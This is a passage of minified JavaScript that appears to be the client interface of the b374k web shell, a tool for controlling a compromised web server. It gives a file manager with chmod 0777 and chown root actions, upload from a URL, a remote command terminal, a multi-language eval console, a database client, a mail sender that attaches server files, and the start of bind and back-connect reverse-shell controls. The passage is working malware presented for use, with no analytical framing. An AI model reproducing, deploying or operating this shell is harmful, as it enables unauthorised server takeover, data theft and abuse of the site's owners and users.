class=\'delete\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'delete_go\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\'delete_go();\'>delete</span></td></tr></table>";show_box(title,content)}function delete_go(){path=$(\'.delete\').val();send_post({delete:path},function(res){if(res!=\'error\'){navigate(res);$(\'.boxresult\').html(\'Operation(s) succeeded\')}else $(\'.boxresult\').html(\'Operation(s) failed\')})}function find(path){findfile="<table class=\'boxtbl\'><thead><tr><th colspan=\'2\'><p class=\'boxtitle\'>Find File</p></th></tr></thead><tbody><tr><td style=\'width:140px\'>Search in</td><td><input type=\'text\' class=\'findfilePath\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'find_go_file\');\\"></td></tr><tr><td style=\'border-bottom:none;\'>Filename contains</td><td style=\'border-bottom:none;\'><input type=\'text\' class=\'findfileFilename\' onkeydown=\\"trap_enter(event, \'find_go_file\');\\"></td></tr><tr><td></td><td><span class=\'cBox findfileFilenameRegex\'></span><span class=\'floatLeft\'>Regex</span>&nbsp;&nbsp;<span class=\'cBox findfileFilenameInsensitive\'></span><span class=\'floatLeft\'>Case Insensitive</span></td></tr><tr><td style=\'border-bottom:none;\'>File contains</td><td style=\'border-bottom:none;\'><input type=\'text\' class=\'findfileContains\' onkeydown=\\"trap_enter(event, \'find_go_file\');\\"></td></tr><tr><td></td><td><span class=\'cBox findfileContainsRegex\'></span><span class=\'floatLeft\'>Regex</span>&nbsp;&nbsp;<span class=\'cBox findfileContainsInsensitive\'></span><span class=\'floatLeft\'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class=\'cBox findfileWritable\'></span><span class=\'floatLeft\'>Writable</span>&nbsp;&nbsp;<span class=\'cBox findfileReadable\'></span><span class=\'floatLeft\'>Readable</span></td></tr></tbody><tfoot><tr><td><span class=\'button navbar\' data-path=\'"+path+"\'>explorer</span></td><td><span class=\'button\' onclick=\\"find_go_file();\\">find</span></td></tr><tr><td colspan=\'2\' class=\'findfileResult\'></td></tr></tfoot></table>";findfolder="<table class=\'boxtbl\'><thead><tr><th colspan=\'2\'><p class=\'boxtitle\'>Find Folder</p></th></tr></thead><tbody><tr><td style=\'width:140px\'>Search in</td><td><input type=\'text\' class=\'findFolderPath\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'find_go_folder\');\\"></td></tr><tr><td style=\'border-bottom:none;\'>Foldername contains</td><td style=\'border-bottom:none;\'><input type=\'text\' class=\'findFoldername\' onkeydown=\\"trap_enter(event, \'find_go_folder\');\\"></td></tr><tr><td></td><td><span class=\'cBox findFoldernameRegex\'></span><span class=\'floatLeft\'>Regex</span>&nbsp;&nbsp;&nbsp;<span class=\'cBox findFoldernameInsensitive\'></span><span class=\'floatLeft\'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class=\'cBox findWritable\'></span><span class=\'floatLeft\'>Writable</span>&nbsp;&nbsp;<span class=\'cBox findReadable\'></span><span class=\'floatLeft\'>Readable</span></td></tr></tbody><tfoot><tr><td><span class=\'button navbar\' data-path=\'"+path+"\'>explorer</span></td><td><span class=\'button\' onclick=\\"find_go_folder();\\">find</span></td></tr><tr><td colspan=\'2\' class=\'findResult\'></td></tr></tfoot></table>";$(\'#explorer\').html("<div id=\'xplUpload\'>"+findfile+\'<br>\'+findfolder+\'</div>\');cbox_bind(\'xplUpload\')}function find_go_file(){find_go(\'file\')}function find_go_folder(){find_go(\'folder\')}function find_go(findType){findPath=(findType==\'file\')?$(\'.findfilePath\').val():$(\'.findFolderPath\').val();findResult=(findType==\'file\')?$(\'.findfileResult\'):$(\'.findResult\');findName=(findType==\'file\')?$(\'.findfileFilename\').val():$(\'.findFoldername\').val();findNameRegex=(findType==\'file\')?$(\'.findfileFilenameRegex\').hasClass(\'cBoxSelected\').toString():$(\'.findFoldernameRegex\').hasClass(\'cBoxSelected\').toString();findNameInsensitive=(findType==\'file\')?$(\'.findfileFilenameInsensitive\').hasClass(\'cBoxSelected\').toString():$(\'.findFoldernameInsensitive\').hasClass(\'cBoxSelected\').toString();findContent=(findType==\'file\')?$(\'.findfileContains\').val():"";findContentRegex=(findType==\'file\')?$(\'.findfileContainsRegex\').hasClass(\'cBoxSelected\').toString():"";findContentInsensitive=(findType==\'file\')?$(\'.findfileContainsInsensitive\').hasClass(\'cBoxSelected\').toString():"";findWritable=(findType==\'file\')?$(\'.findfileWritable\').hasClass(\'cBoxSelected\').toString():$(\'.findReadable\').hasClass(\'cBoxSelected\').toString();findReadable=(findType==\'file\')?$(\'.findfileReadable\').hasClass(\'cBoxSelected\').toString():$(\'.findWritable\').hasClass(\'cBoxSelected\').toString();send_post({findType:findType,findPath:findPath,findName:findName,findNameRegex:findNameRegex,findNameInsensitive:findNameInsensitive,findContent:findContent,findContentRegex:findContentRegex,findContentInsensitive:findContentInsensitive,findWritable:findWritable,findReadable:findReadable},function(res){if(res!=\'error\'){findResult.html(res)}})}function ul_go_comp(){ul_go(\'comp\')}function ul_go_url(){ul_go(\'url\')}function ul(path){ulcomputer="<table class=\'boxtbl ulcomp\'><thead><tr><th colspan=\'2\'><p class=\'boxtitle\'>Upload From Computer <a onclick=\'ul_add_comp();\'>(+)</a></p></th></tr></thead><tbody class=\'ulcompadd\'></tbody><tfoot><tr><td><span class=\'button navbar\' data-path=\'"+path+"\'>explorer</span></td><td><span class=\'button\' onclick=\\"ul_go_comp();\\">upload</span></td></tr><tr><td colspan=\'2\' class=\'ulCompResult\'></td></tr><tr><td colspan=\'2\'><div id=\'ulDragNDrop\'>Or Drag and Drop files here</div></td></tr><tr><td colspan=\'2\' class=\'ulDragNDropResult\'></td></tr></tfoot></table>";ulurl="<table class=\'boxtbl ulurl\'><thead><tr><th colspan=\'2\'><p class=\'boxtitle\'>Upload From Url <a onclick=\'ul_add_url();\'>(+)</a></p></th></tr></thead><tbody class=\'ulurladd\'></tbody><tfoot><tr><td><span class=\'button navbar\' data-path=\'"+path+"\'>explorer</span></td><td><span class=\'button\' onclick=\\"ul_go_url();\\">upload</span></td></tr><tr><td colspan=\'2\' class=\'ulUrlResult\'></td></tr></tfoot></table>";content=ulcomputer+\'<br>\'+ulurl+"<input type=\'hidden\' class=\'ul_path\' value=\'"+path+"\'>";$(\'#explorer\').html(content);ul_add_comp();ul_add_url();$(\'#ulDragNDrop\').on(\'dragenter\',function(e){e.stopPropagation();e.preventDefault()});$(\'#ulDragNDrop\').on(\'dragover\',function(e){e.stopPropagation();e.preventDefault()});$(\'#ulDragNDrop\').on(\'drop\',function(e){e.stopPropagation();e.preventDefault();files=e.target.files||e.dataTransfer.files;ulResult=$(\'.ulDragNDropResult\');ulResult.html(\'\');$.each(files,function(i){if(this){ulType=\'DragNDrop\';filename=this.name;var formData=new FormData();formData.append(\'ulFile\',this);formData.append(\'ulSaveTo\',get_cwd());formData.append(\'ulFilename\',filename);formData.append(\'ulType\',\'comp\');entry="<p class=\'ulRes"+ulType+i+"\'><span class=\'strong\'>&gt;</span>&nbsp;<a onclick=\'view_entry(this);\' class=\'ulFilename"+ulType+i+"\'>"+filename+"</a>&nbsp;<span class=\'ulProgress"+ulType+i+"\'></span></p>";ulResult.append(entry);if(this.size<=0){$(\'.ulProgress\'+ulType+i).html(\'( failed )\');$(\'.ulProgress\'+ulType+i).removeClass(\'ulProgress\'+ulType+i);$(\'.ulFilename\'+ulType+i).removeClass(\'ulFilename\'+ulType+i)}else{ul_start(formData,ulType,i)}}})})}function ul_add_comp(path){path=html_safe($(\'.ul_path\').val());$(\'.ulcompadd\').append("<tr><td style=\'width:130px\'>File</td><td><input type=\'file\' class=\'ulFileComp\'></td></tr><tr><td>Save to</td><td><input type=\'text\' class=\'ulSaveToComp\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'ul_go_comp\');\\"></td></tr><tr><td>Filename (Optional)</td><td><input type=\'text\' class=\'ulFilenameComp\' onkeydown=\\"trap_enter(event, \'ul_go_comp\');\\"></td></tr>")}function ul_add_url(path){path=html_safe($(\'.ul_path\').val());$(\'.ulurladd\').append("<tr><td style=\'width:130px\'>File URL</td><td><input type=\'text\' class=\'ulFileUrl\' onkeydown=\\"trap_enter(event, \'ul_go_url\');\\"></td></tr><tr><td>Save to</td><td><input type=\'text\' class=\'ulSaveToUrl\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'ul_go_url\');\\"></td></tr><tr><td>Filename (Optional)</td><td><input type=\'text\' class=\'ulFilenameUrl\' onkeydown=\\"trap_enter(event, \'ul_go_url\');\\"></td></tr>")}function ul_start(formData,ulType,i){loading_start();$.ajax({url:targeturl,type:\'POST\',data:formData,cache:false,contentType:false,processData:false,xhr:function(){myXhr=$.ajaxSettings.xhr();if(myXhr.upload){myXhr.upload.addEventListener(\'progress\',function(e){percent=Math.floor(e.loaded/e.total*100);$(\'.ulProgress\'+ulType+i).html(\'( \'+percent+\'% )\')},false)}return myXhr},success:function(res){if(res.match(/Warning.*POST.*Content-Length.*of.*bytes.*exceeds.*the.*limit.*of/)){res=\'error\'}if(res==\'error\'){$(\'.ulProgress\'+ulType+i).html(\'( failed )\')}else{$(\'.ulRes\'+ulType+i).html(res)}loading_stop()},error:function(){loading_stop();$(\'.ulProgress\'+ulType+i).html(\'( failed )\');$(\'.ulProgress\'+ulType+i).removeClass(\'ulProgress\'+ulType+i);$(\'.ulFilename\'+ulType+i).removeClass(\'ulFilename\'+ulType+i)}})}function ul_go(ulType){ulFile=(ulType==\'comp\')?$(\'.ulFileComp\'):$(\'.ulFileUrl\');ulResult=(ulType==\'comp\')?$(\'.ulCompResult\'):$(\'.ulUrlResult\');ulResult.html(\'\');ulFile.each(function(i){if(((ulType==\'comp\')&&this.files[0])||((ulType==\'url\')&&(this.value!=\'\'))){file=(ulType==\'comp\')?this.files[0]:this.value;filename=(ulType==\'comp\')?file.name:file.substring(file.lastIndexOf(\'/\')+1);ulSaveTo=(ulType==\'comp\')?$(\'.ulSaveToComp\')[i].value:$(\'.ulSaveToUrl\')[i].value;ulFilename=(ulType==\'comp\')?$(\'.ulFilenameComp\')[i].value:$(\'.ulFilenameUrl\')[i].value;var formData=new FormData();formData.append(\'ulFile\',file);formData.append(\'ulSaveTo\',ulSaveTo);formData.append(\'ulFilename\',ulFilename);formData.append(\'ulType\',ulType);entry="<p class=\'ulRes"+ulType+i+"\'><span class=\'strong\'>&gt;</span>&nbsp;<a onclick=\'view_entry(this);\' class=\'ulFilename"+ulType+i+"\'>"+filename+"</a>&nbsp;<span class=\'ulProgress"+ulType+i+"\'></span></p>";ulResult.append(entry);check=true;if(ulType==\'comp\'){check=(file.size<=0)}else check=(file=="");if(check){$(\'.ulProgress\'+ulType+i).html(\'( failed )\');$(\'.ulProgress\'+ulType+i).removeClass(\'ulProgress\'+ulType+i);$(\'.ulFilename\'+ulType+i).removeClass(\'ulFilename\'+ulType+i)}else{ul_start(formData,ulType,i)}}})}function trap_ctrl_enter(el,e,callback){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){if(callback!=null)window[callback]()}fix_tabchar(el,e)}function edit_save_raw(){edit_save(\'edit\')}function edit_save_hex(){edit_save(\'hex\')}function edit_save(editType){editFilename=$(\'#editFilename\').val();editInput=$(\'#editInput\').val();editSuccess=false;preserveTimestamp=\'false\';if($(\'.cBox\').hasClass(\'cBoxSelected\'))preserveTimestamp=\'true\';send_post({editType:editType,editFilename:editFilename,editInput:editInput,preserveTimestamp:preserveTimestamp},function(res){if(res!=\'error\'){editSuccess=\'success\';view(editFilename,editType,preserveTimestamp)}else editSuccess=\'error\'})}function mass_act(type){buffer=get_all_cbox_selected(\'xplTable\',\'xpl_href\');if((type==\'cut\')||(type==\'copy\')){localStorage.setItem(\'bufferLength\',buffer.length);localStorage.setItem(\'bufferAction\',type);$.each(buffer,function(i,v){localStorage.setItem(\'buffer_\'+i,v)})}else if(type==\'paste\'){bufferLength=localStorage.getItem(\'bufferLength\');bufferAction=localStorage.getItem(\'bufferAction\');if(bufferLength>0){massBuffer=\'\';for(var i=0;i<bufferLength;i++){if((buff=localStorage.getItem(\'buffer_\'+i))){massBuffer+=buff+\'\\n\'}}massBuffer=$.trim(massBuffer);if(bufferAction==\'cut\')title=\'move\';else if(bufferAction==\'copy\')title=\'copy\';content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'massBuffer\' style=\'height:120px;min-height:120px;\' disabled>"+massBuffer+"</textarea></td></tr><tr><td class=\'colFit\'>"+title+" here</td><td><input type=\'text\' value=\'"+html_safe(get_cwd())+"\' onkeydown=\\"trap_enter(event, \'mass_act_go_paste\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\\"mass_act_go(\'paste\');\\">"+title+"</span></td></tr></table>";show_box(ucfirst(title),content)}}else if((type==\'extract (tar)\')||(type==\'extract (tar.gz)\')||(type==\'extract (zip)\')){if(type==\'extract (tar)\')arcType=\'untar\';else if(type==\'extract (tar.gz)\')arcType=\'untargz\';else if(type==\'extract (zip)\')arcType=\'unzip\';if(buffer.length>0){massBuffer=\'\';$.each(buffer,function(i,v){massBuffer+=v+\'\\n\'});massBuffer=$.trim(massBuffer);title=type;content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'massBuffer\' style=\'height:120px;min-height:120px;\' wrap=\'off\' disabled>"+massBuffer+"</textarea></td></tr><tr><td class=\'colFit\'>Extract to</td><td><input class=\'massValue\' type=\'text\' value=\'"+html_safe(get_cwd())+"\'onkeydown=\\"trap_enter(event, \'mass_act_go_"+arcType+"\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\\"mass_act_go(\'"+arcType+"\');\\">extract</span></td></tr></table>";show_box(ucfirst(title),content)}}else if((type==\'compress (tar)\')||(type==\'compress (tar.gz)\')||(type==\'compress (zip)\')){date=new Date();rand=date.getTime();if(type==\'compress (tar)\'){arcType=\'tar\';arcFilename=rand+\'.tar\'}else if(type==\'compress (tar.gz)\'){arcType=\'targz\';arcFilename=rand+\'.tar.gz\'}else if(type==\'compress (zip)\'){arcType=\'zip\';arcFilename=rand+\'.zip\'}if(buffer.length>0){massBuffer=\'\';$.each(buffer,function(i,v){massBuffer+=v+\'\\n\'});massBuffer=$.trim(massBuffer);title=type;content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'massBuffer\' style=\'height:120px;min-height:120px;\' wrap=\'off\' disabled>"+massBuffer+"</textarea></td></tr><tr><td class=\'colFit\'>Archive</td><td><input class=\'massValue\' type=\'text\' value=\'"+arcFilename+"\' onkeydown=\\"trap_enter(event, \'mass_act_go_"+arcType+"\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\\"mass_act_go(\'"+arcType+"\');\\">compress</span></td></tr></table>";show_box(ucfirst(title),content)}}else if(type!=\'\'){if(buffer.length>0){massBuffer=\'\';$.each(buffer,function(i,v){massBuffer+=v+\'\\n\'});massBuffer=$.trim(massBuffer);title=type;line=\'\';if(type==\'chmod\')line="<tr><td class=\'colFit\'>chmod</td><td><input class=\'massValue\' type=\'text\' value=\'0777\' onkeydown=\\"trap_enter(event, \'mass_act_go_"+type+"\');\\"></td></tr>";else if(type==\'chown\')line="<tr><td class=\'colFit\'>chown</td><td><input class=\'massValue\' type=\'text\' value=\'root\' onkeydown=\\"trap_enter(event, \'mass_act_go_"+type+"\');\\"></td></tr>";else if(type==\'touch\'){var now=new Date();line="<tr><td class=\'colFit\'>touch</td><td><input class=\'massValue\' type=\'text\' value=\'"+now.toGMTString()+"\' onkeydown=\\"trap_enter(event, \'mass_act_go_"+type+"\');\\"></td></tr>"}content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'massBuffer\' style=\'height:120px;min-height:120px;\' wrap=\'off\' disabled>"+massBuffer+"</textarea></td></tr>"+line+"<tr><td colspan=\'2\'><span class=\'button\' onclick=\\"mass_act_go(\'"+type+"\');\\">"+title+"</span></td></tr></table>";show_box(ucfirst(title),content)}}$(\'.cBoxSelected\').removeClass(\'cBoxSelected\');xpl_update_status()}function mass_act_go_tar(){mass_act_go(\'tar\')}function mass_act_go_targz(){mass_act_go(\'targz\')}function mass_act_go_zip(){mass_act_go(\'zip\')}function mass_act_go_untar(){mass_act_go(\'untar\')}function mass_act_go_untargz(){mass_act_go(\'untargz\')}function mass_act_go_unzip(){mass_act_go(\'unzip\')}function mass_act_go_paste(){mass_act_go(\'paste\')}function mass_act_go_chmod(){mass_act_go(\'chmod\')}function mass_act_go_chown(){mass_act_go(\'chown\')}function mass_act_go_touch(){mass_act_go(\'touch\')}function mass_act_go(massType){massBuffer=$.trim($(\'.massBuffer\').val());massPath=get_cwd();massValue=\'\';if(massType==\'paste\'){bufferLength=localStorage.getItem(\'bufferLength\');bufferAction=localStorage.getItem(\'bufferAction\');if(bufferLength>0){massBuffer=\'\';for(var i=0;i<bufferLength;i++){if((buff=localStorage.getItem(\'buffer_\'+i))){massBuffer+=buff+\'\\n\'}}massBuffer=$.trim(massBuffer);if(bufferAction==\'copy\')massType=\'copy\';else if(bufferAction==\'cut\')massType=\'cut\'}}else if((massType==\'chmod\')||(massType==\'chown\')||(massType==\'touch\')){massValue=$(\'.massValue\').val()}else if((massType==\'tar\')||(massType==\'targz\')||(massType==\'zip\')){massValue=$(\'.massValue\').val()}else if((massType==\'untar\')||(massType==\'untargz\')||(massType==\'unzip\')){massValue=$(\'.massValue\').val()}if(massBuffer!=\'\'){send_post({massType:massType,massBuffer:massBuffer,massPath:massPath,massValue:massValue},function(res){if(res!=\'error\'){$(\'.boxresult\').html(res+\' Operation(s) succeeded\')}else $(\'.boxresult\').html(\'Operation(s) failed\');navigate(get_cwd())})}}function xpl_update_status(){totalSelected=$(\'#xplTable\').find(\'.cBoxSelected\').not(\'.cBoxAll\').length;if(totalSelected==0)$(\'.xplSelected\').html(\'\');else $(\'.xplSelected\').html(\', \'+totalSelected+\' item(s) selected\')}function xpl_bind(){$(\'.navigate\').off(\'click\');$(\'.navigate\').on(\'click\',function(e){path=xpl_href($(this));navigate(path);hide_box()});$(\'.navbar\').off(\'click\');$(\'.navbar\').on(\'click\',function(e){path=$(this).attr(\'data-path\');navigate(path);hide_box()});$(\'.newfolder\').off(\'click\');$(\'.newfolder\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));newfolder(path)});$(\'.newfile\').off(\'click\');$(\'.newfile\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));newfile(path)});$(\'.del\').off(\'click\');$(\'.del\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));del(path)});$(\'.view\').off(\'click\');$(\'.view\').on(\'click\',function(e){path=xpl_href($(this));view(path,\'auto\');hide_box()});$(\'.hex\').off(\'click\');$(\'.hex\').on(\'click\',function(e){path=xpl_href($(this));view(path,\'hex\')});$(\'#viewFullsize\').off(\'click\');$(\'#viewFullsize\').on(\'click\',function(e){src=$(\'#viewImage\').attr(\'src\');window.open(src)});$(\'.edit\').off(\'click\');$(\'.edit\').on(\'click\',function(e){path=xpl_href($(this));view(path,\'edit\');hide_box()});$(\'.ren\').off(\'click\');$(\'.ren\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));ren(path)});$(\'.action\').off(\'click\');$(\'.action\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));action(path,\'file\')});$(\'.actionfolder\').off(\'click\');$(\'.actionfolder\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));action(path,\'dir\')});$(\'.actiondot\').off(\'click\');$(\'.actiondot\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));action(path,\'dot\')});$(\'.dl\').off(\'click\');$(\'.dl\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));$(\'#form\').append("<input type=\'hidden\' name=\'download\' value=\'"+path+"\'>");$(\'#form\').submit();$(\'#form\').html(\'\');hide_box()});$(\'.ul\').off(\'click\');$(\'.ul\').on(\'click\',function(e){path=xpl_href($(this));navigate(path,false);path=html_safe(path);ul(path);hide_box()});$(\'.find\').off(\'click\');$(\'.find\').on(\'click\',function(e){path=xpl_href($(this));navigate(path,false);path=html_safe(path);find(path);hide_box()});$(\'#massAction\').off(\'click\');$(\'#massAction\').on(\'change\',function(e){type=$(\'#massAction\').val();mass_act(type);$(\'#massAction\').val(\'Action\')});cbox_bind(\'xplTable\',\'xpl_update_status\')}function xpl_href(el){return el.parent().parent().attr(\'data-path\')}function multimedia(path){var a=$(\'video\').get(0);send_post({multimedia:path},function(res){a.src=res});hide_box()}$(\'#terminalInput\').on(\'keydown\',function(e){if(e.keyCode==13){cmd=$(\'#terminalInput\').val();terminalHistory.push(cmd);terminalHistoryPos=terminalHistory.length;if(cmd==\'clear\'||cmd==\'cls\'){$(\'#terminalOutput\').html(\'\')}else if((path=cmd.match(/cd(.*)/i))||(path=cmd.match(/^([a-z]:)$/i))){path=$.trim(path[1]);navigate(path)}else if(cmd!=\'\'){send_post({terminalInput:cmd},function(res){cwd=html_safe(get_cwd());res=\'<span class=\\\'strong\\\'>\'+cwd+\'&gt;</span>\'+html_safe(cmd)+\'\\n\'+res+\'\\n\';$(\'#terminalOutput\').append(res);bottom=$(document).height()-$(window).height();$(window).scrollTop(bottom)})}$(\'#terminalInput\').val(\'\');setTimeout("$(\'#terminalInput\').focus()",100)}else if(e.keyCode==38){if(terminalHistoryPos>0){terminalHistoryPos--;$(\'#terminalInput\').val(terminalHistory[terminalHistoryPos]);if(terminalHistoryPos<0)terminalHistoryPos=0}}else if(e.keyCode==40){if(terminalHistoryPos<terminalHistory.length-1){terminalHistoryPos++;$(\'#terminalInput\').val(terminalHistory[terminalHistoryPos]);if(terminalHistoryPos>terminalHistory.length)terminalHistoryPos=terminalHistory.length}}fix_tabchar(this,e)});function eval_go(){evalType=$(\'#evalType\').val();evalInput=$(\'#evalInput\').val();evalOptions=$(\'#evalOptions\').val();evalArguments=$(\'#evalArguments\').val();if(evalOptions==\'Options/Switches\')evalOptions=\'\';if(evalArguments==\'Arguments\')evalArguments=\'\';if($.trim(evalInput)!=\'\'){send_post({evalInput:evalInput,evalType:evalType,evalOptions:evalOptions,evalArguments:evalArguments},function(res){if(res!=\'error\'){splits=res.split(\'{[|b374k|]}\');if(splits.length==2){output=splits[0]+"<hr>"+splits[1];$(\'#evalOutput\').html(output)}else{$(\'#evalOutput\').html(res)}}})}}function eval_init(){if((evalSupported=localStorage.getItem(\'evalSupported\'))){eval_bind();output("eval : "+evalSupported);evalReady=true}else{send_post({evalGetSupported:"evalGetSupported"},function(res){evalReady=true;if(res!="error"){localStorage.setItem(\'evalSupported\',res);evalSupported=res;eval_bind();output("eval : "+evalSupported)}})}}function eval_bind(){if((evalSupported!=null)&&(evalSupported!=\'\')){splits=evalSupported.split(",");$.each(splits,function(i,k){$(\'#evalType\').append("<option>"+k+"</option>")})}$(\'#evalType\').on(\'change\',function(e){if($(\'#evalType\').val()==\'php\'){$(\'#evalAdditional\').hide()}else{$(\'#evalAdditional\').show()}});$(\'#evalOptions\').on(\'focus\',function(e){options=$(\'#evalOptions\');if(options.val()==\'Options/Switches\')options.val(\'\')});$(\'#evalOptions\').on(\'blur\',function(e){options=$(\'#evalOptions\');if($.trim(options.val())==\'\')options.val(\'Options/Switches\')});$(\'#evalArguments\').on(\'focus\',function(e){args=$(\'#evalArguments\');if(args.val()==\'Arguments\')args.val(\'\')});$(\'#evalArguments\').on(\'blur\',function(e){args=$(\'#evalArguments\');if($.trim(args.val())==\'\')args.val(\'Arguments\')});$(\'#evalInput\').on(\'keydown\',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){eval_go()}fix_tabchar(this,e)})}Zepto(function($){$(\'#decodeStr\').on(\'keydown\',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){decode_go()}fix_tabchar(this,e)})});function decode_go(){decodeStr=$(\'#decodeStr\').val();send_post({decodeStr:decodeStr},function(res){if(res!=\'error\'){$(\'#decodeResult\').html(\'\');$(\'#decodeResult\').html(res)}})}Zepto(function($){db_init()});var dbSupported="";var dbPageLimit=50;function db_init(){if((dbSupported=localStorage.getItem(\'db_supported\'))){db_bind();output("db : "+dbSupported);db_add_supported()}else{send_post({dbGetSupported:""},function(res){if(res!="error"){localStorage.setItem(\'dbSupported\',res);dbSupported=res;db_bind();output("db : "+dbSupported);db_add_supported()}})}}function db_add_supported(){splits=dbSupported.split(",");$.each(splits,function(i,k){$(\'#dbType\').append("<option>"+k+"</option>")})}function db_bind(){$(\'#dbType\').on(\'change\',function(e){type=$(\'#dbType\').val();if((type==\'odbc\')||(type==\'pdo\')){$(\'.dbHostLbl\').html(\'DSN / Connection String\');$(\'.dbUserRow\').show();$(\'.dbPassRow\').show();$(\'.dbPortRow\').hide()}else if((type==\'sqlite\')||(type==\'sqlite3\')){$(\'.dbHostLbl\').html(\'DB File\');$(\'.dbUserRow\').hide();$(\'.dbPassRow\').hide();$(\'.dbPortRow\').hide()}else{$(\'.dbHostLbl\').html(\'Host\');$(\'.dbUserRow\').show();$(\'.dbPassRow\').show();$(\'.dbPortRow\').show()}});$(\'#dbQuery\').on(\'focus\',function(e){if($(\'#dbQuery\').val()==\'You can also press ctrl+enter to submit\'){$(\'#dbQuery\').val(\'\')}});$(\'#dbQuery\').on(\'blur\',function(e){if($(\'#dbQuery\').val()==\'\'){$(\'#dbQuery\').val(\'You can also press ctrl+enter to submit\')}});$(\'#dbQuery\').on(\'keydown\',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){db_run()}})}function db_nav_bind(){dbType=$(\'#dbType\').val();$(\'.boxNav\').off(\'click\');$(\'.boxNav\').on(\'click\',function(){$(this).next().toggle()});$(\'.dbTable\').off(\'click\');$(\'.dbTable\').on(\'click\',function(){type=$(\'#dbType\').val();table=$(this).html();db=$(this).parent().parent().parent().prev().html();db_query_tbl(type,db,table,0,dbPageLimit)})}function db_connect(){dbType=$(\'#dbType\').val();dbHost=$(\'#dbHost\').val();dbUser=$(\'#dbUser\').val();dbPass=$(\'#dbPass\').val();dbPort=$(\'#dbPort\').val();send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort},function(res){if(res!=\'error\'){$(\'#dbNav\').html(res);$(\'.dbHostRow\').hide();$(\'.dbUserRow\').hide();$(\'.dbPassRow\').hide();$(\'.dbPortRow\').hide();$(\'.dbConnectRow\').hide();$(\'.dbQueryRow\').show();$(\'#dbBottom\').show();db_nav_bind()}else $(\'.dbError\').html(\'Unable to connect\')})}function db_disconnect(){$(\'.dbHostRow\').show();$(\'.dbUserRow\').show();$(\'.dbPassRow\').show();$(\'.dbPortRow\').show();$(\'.dbConnectRow\').show();$(\'.dbQueryRow\').hide();$(\'#dbNav\').html(\'\');$(\'#dbResult\').html(\'\');$(\'#dbBottom\').hide()}function db_run(){dbType=$(\'#dbType\').val();dbHost=$(\'#dbHost\').val();dbUser=$(\'#dbUser\').val();dbPass=$(\'#dbPass\').val();dbPort=$(\'#dbPort\').val();dbQuery=$(\'#dbQuery\').val();if((dbQuery!=\'\')&&(dbQuery!=\'You can also press ctrl+enter to submit\')){send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort,dbQuery:dbQuery},function(res){if(res!=\'error\'){$(\'#dbResult\').html(res);$(\'.tblResult\').each(function(){sorttable.k(this)})}})}}function db_query_tbl(type,db,table,start,limit){dbType=$(\'#dbType\').val();dbHost=$(\'#dbHost\').val();dbUser=$(\'#dbUser\').val();dbPass=$(\'#dbPass\').val();dbPort=$(\'#dbPort\').val();send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort,dbQuery:\'\',dbDB:db,dbTable:table,dbStart:start,dbLimit:limit},function(res){if(res!=\'error\'){$(\'#dbResult\').html(res);$(\'.tblResult\').each(function(){sorttable.k(this)})}})}function db_pagination(type){db=$(\'#dbDB\').val();table=$(\'#dbTable\').val();start=parseInt($(\'#dbStart\').val());limit=parseInt($(\'#dbLimit\').val());dbType=$(\'#dbType\').val();if(type==\'next\'){start=start+limit}else if(type==\'prev\'){start=start-limit;if(start<0)start=0}db_query_tbl(dbType,db,table,start,limit)}Zepto(function($){info_init()});function info_init(){if((infoResult=localStorage.getItem(\'infoResult\'))){$(\'.infoResult\').html(infoResult)}else{info_refresh()}}function info_toggle(id){$(\'#\'+id).toggle()}function info_refresh(){send_post({infoRefresh:\'infoRefresh\'},function(res){$(\'.infoResult\').html(res);localStorage.setItem(\'infoResult\',res)})}Zepto(function($){});function mail_send(){mailFrom=$.trim($(\'#mailFrom\').val());mailTo=$.trim($(\'#mailTo\').val());mailSubject=$.trim($(\'#mailSubject\').val());mailContent=$(\'#mailContent\').val();mailAttachment=\'\';if($(\'.mailAttachment\')){mailAttachment=$(\'.mailAttachment\').map(function(){return this.value}).get().join(\'{[|b374k|]}\')}send_post({mailFrom:mailFrom,mailTo:mailTo,mailSubject:mailSubject,mailContent:mailContent,mailAttachment:mailAttachment},function(res){$(\'#mailResult\').html(res)})}function mail_attach(){content="<tr><td>Local file <a onclick=\\"$(this).parent().parent().remove();\\">(-)</a></td><td colspan=\'2\'><input type=\'text\' class=\'mailAttachment\' value=\'\'></td></tr>";$(\'#mailTBody\').append(content)}Zepto(function($){rs_init()});function rs_init(){if(evalReady&&(evalSupported!=null)&&(evalSupported!=\'\')){splits=evalSupported.split(",");$.each(splits,function(i,k){$(\'.rsType\').append("<option>"+k+"</option>")})}else setTimeout(\'rs_init()\',1000);$(\'#packetContent\').on(\'keydown\',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){packet_go()}fix_tabchar(this,e)})}function rs_go_bind(){rs_go(\'bind\')}function rs_go_back(){rs_go(\'back\')}function 